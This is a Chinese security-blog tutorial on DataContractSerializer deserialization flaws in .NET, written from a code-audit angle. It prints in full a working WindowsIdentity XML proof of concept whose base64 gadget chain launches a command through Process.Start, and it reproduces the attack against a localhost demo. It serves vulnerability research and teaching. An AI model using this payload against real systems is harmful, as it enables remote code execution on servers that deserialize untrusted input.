.NET高级代码审计(第六课) DataContractSerializer反序列化漏洞

2019-04-03 9,836

0X00 前言

DataContractSerializer类用于序列化和反序列化Windows Communication Foundation 
(WCF) 
消息中发送的数据,用于把CLR数据类型序列化成XML流,它位于命名空间System.Runtime.Serialization,继承于System.Runtime.Serialization.XmlObjectSerializer,在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

0X01 DataContractSerializer序列化

类名使用DataContractAttribute 标记,类成员使用DataMemberAttribute 
标记,可指定要序列化的属性和字段,下面先来看这个系列课程中经典的一段代码

bd76392a5d4165f7a848f19ce8d48f15.png

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 
序列化通过创建对象实例分别给成员赋值

64d55bdaf50c02e5a676f70d3e5b28af.png

使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化,笔者定义TestClass对象,常规下使用WriteObject得到序列化后的XML数据

9.jpg

0x02 DataContractSerializer反序列化

2.1、反序列化原理和用法

反序列过程是将XML流或者数据转换为对象,在DataContractSerializer类中创建对象然后调用ReadObject方法实现的

10cbec5c928c881a2e324210090a7841.png

首先看DataContractSerializer类的定义,创建实例的时候会带入类型解析器

321094886e3bf0c9548f691b757b59db.png

然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType

c***3b1832fde64811d6d1a67c1c6a50.png

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内

4e6ebcd88c6d9e6c88ac3bfd9e224d40.png

ReadDataContractValue方法体内返回用ReadXmlValue处理后的数据,

ce8151d044d7790d2ba20aee5b6fd7ac.png

从下图可以看出这是一个C#里的虚方法,在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。

7346d371f9377836dc185777cfecc172.png

下图Demo展示了序列化和反序列化前后的效果

c26b5e25e78eb06df7eddb90dbdcd8ec.png

反序列化后得到对象的属性,打印输出成员Name的值。

7bf6a17a834ccc6b0fb326c5ddd68177.png

2.2、攻击向量—ObjectDataProvider

漏洞的触发点是在于初始化DataContractSerializer类实例时,参数类型解析器type是否可控,也就是说攻击者需要控制重构对象的类型,若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《.NET高级代码审计(第一课) 
XmlSerializer反序列化漏洞》,因为Process.Start之前需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序,然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据,下面是国外研究者提供的反序列化Payload

10.jpg

设计的Demo里使用ReadObject(new XmlTextReader(new 
StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。

4a3b4c50c3ad752b57bf83d691cff61b.png

c13d75a51ed46b4b093441703ddf5620.png

2.3、攻击向量—WindowsIdentity

第二种攻击方法使用WindowsIdentity类,这个类继承了ClaimsIdentity,并且实现了ISerializable接口,实现这个接口好处是可以控制你想反序列化的数据类型,此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《.NET高级代码审计(第二课) 
Json.Net反序列化漏洞》,下面是国外研究者提供的反序列化Poc

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
      <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249N**wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249N**wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249N**wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuM**wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249N**wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>
       </WindowsIdentity>
</root>

将Demo中的变量替换掉后,在抛出异常之前成功触发计算器,效果如下图

881381a79b425362ca048ba63928409b.png

0x03 代码审计视角

3.1、ReadObject

从代码审计的角度很容易找到漏洞的EntryPoint,通过前面几个小节的知识能发现需要满足一个类型解析器type可控,再传入XML,就可以被反序列化,例如下面的DataContractSerializer类

993bfde4201e967ca9d7cedfa03b4388.png

0x04 案例复盘

1.使用ObjectDataProvider攻击向量,输入http://localhost:5651/Default 
Post加载value值

6b021a8ad51835f207fa3f2f230341cd.png

2.通过ReadObject 反序列化 ,并弹出计算器,网页返回200。

1563cc0d6b78a080d1639ff8956334e5.png

3.使用WindowsIdentity攻击向量,输入http://localhost:5651/Default 
Post加载value值,弹出计算器的同时,服务也会挂掉。

7be5860276c7ac47360b638fb1e6945b.png

最后附上动态效果图

14.gif


0x05 总结

DataContractSerializer在实际开发中使用频率较高,但因type需可控才能实施攻击,所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到 
https://github.com/Ivan1ee/ 、https://ivan1ee.gitbook.io/ 
,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。


本文作者:Ivan1ee

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/103330.html

Tags:
评论  (0)
快来写下你的想法吧!

Ivan1ee

文章数:11 积分: 95

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号